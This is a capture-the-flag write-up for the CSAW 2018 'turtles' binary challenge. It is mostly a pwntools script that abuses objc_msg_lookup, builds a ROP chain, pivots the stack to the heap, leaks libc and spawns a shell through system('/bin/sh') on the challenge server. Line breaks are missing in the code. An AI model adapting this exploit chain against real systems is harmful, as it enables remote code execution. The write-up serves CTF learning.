**Description**
> Looks like you found a bunch of turtles but their shells are nowhere to be seen! Think you can make a shell for them?> > `nc pwn.chal.csaw.io 9003`> > Update (09/14 6:25 PM) - Added libs.zip with the libraries for the challenge
**Files provided**
 - [turtles](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-14-CSAW-CTF-Quals/files/turtles) - [libs.zip](https://ctf.csaw.io/files/f8d7ea4fde01101de29de49d91434a5a/libs.zip) (too large to host)
**Solution** (by [Mem2019](https://github.com/Mem2019))
After reversing function `objc_msg_lookup`, we found that if we satisfy some conditions, we can manipulate the return value, which will be called, and then we can do ROP, because we can control the buffer on stack. What I did is to switch the stack to heap to do further exploitation.
Firstly, leak the `libc` address and return to main function, then do the same thing again to execute `system("/bin/sh")`
exp
```pythonfrom pwn import *
g_local=Falsecontext.log_level='debug'
e = ELF("./libc-2.19.so")p = ELF("./turtles")if g_local:	sh = remote("192.168.106.151", 9999)#env={'LD_PRELOAD':'./libc.so.6'}else:	sh = remote("pwn.chal.csaw.io", 9003)	#ONE_GADGET_OFF = 0x4557a
LEAVE_RET = 0x400b82POP_RDI_RET = 0x400d43#rop = 'A' * 0x80rop = p64(POP_RDI_RET)rop += p64(p.got["printf"])rop += p64(p.plt["printf"])rop += p64(0x400B84) #main
sh.recvuntil("Here is a Turtle: 0x")leak = sh.recvuntil("\n")obj_addr = int(leak, 16)
rop_pivot = p64(0x400ac0) #pop rbp retrop_pivot += p64(obj_addr + 8 + 0x20 + 0x10 + 0x30)rop_pivot += p64(LEAVE_RET) + p64(0)
fake_turtle = p64(obj_addr + 8 + 0x20 - 0x40)fake_turtle += rop_pivot# different when dynamic# fake_turtle += p64(0x601400) + p64(0x601328)# fake_turtle += p64(0x601321) + p64(0)# fake_turtle += p64(1) + p64(8)# fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x80)# fake_turtle += 8 * p64(0)# #------------------# fake_turtle += p64(0) + p64(1)# fake_turtle += p64(0x601331) + p64(0x601349)# fake_turtle += p64(0x400d3c) #pop 5 ret# fake_turtle += 3 * p64(0)
fake_turtle += p64(obj_addr + 8 + 0x20 + 0x10) + p64(0)#----------------fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x10 + 0x10) #pop 5 retfake_turtle += p64(0x400d3c) + p64(0) * 3 #pop 5 retfake_turtle += 'a' * 8 + ropsh.interactive()sh.send(fake_turtle)libc_addr = u64(sh.recvuntil("\x7f") + "\x00\x00") - e.symbols["printf"]print hex(libc_addr)
sh.recvuntil("Here is a Turtle: 0x")leak = sh.recvuntil("\n")obj_addr = int(leak, 16)
rop_pivot = p64(0x400ac0) #pop rbp retrop_pivot += p64(obj_addr + 8 + 0x20 + 0x10 + 0x30)rop_pivot += p64(LEAVE_RET) + p64(0)
fake_turtle = p64(obj_addr + 8 + 0x20 - 0x40)fake_turtle += rop_pivotfake_turtle += p64(obj_addr + 8 + 0x20 + 0x10) + p64(0)#----------------fake_turtle += p64(0) + p64(obj_addr + 8 + 0x20 + 0x10 + 0x10) #pop 5 retfake_turtle += p64(0x400d3c) + p64(0) * 3 #pop 5 retfake_turtle += 'a' * 8 + p64(POP_RDI_RET) + p64(libc_addr + next(e.search('/bin/sh\x00')))fake_turtle += p64(libc_addr + e.symbols["system"]) #0x30 one_gadget
sh.send(fake_turtle)
sh.interactive()```
//todo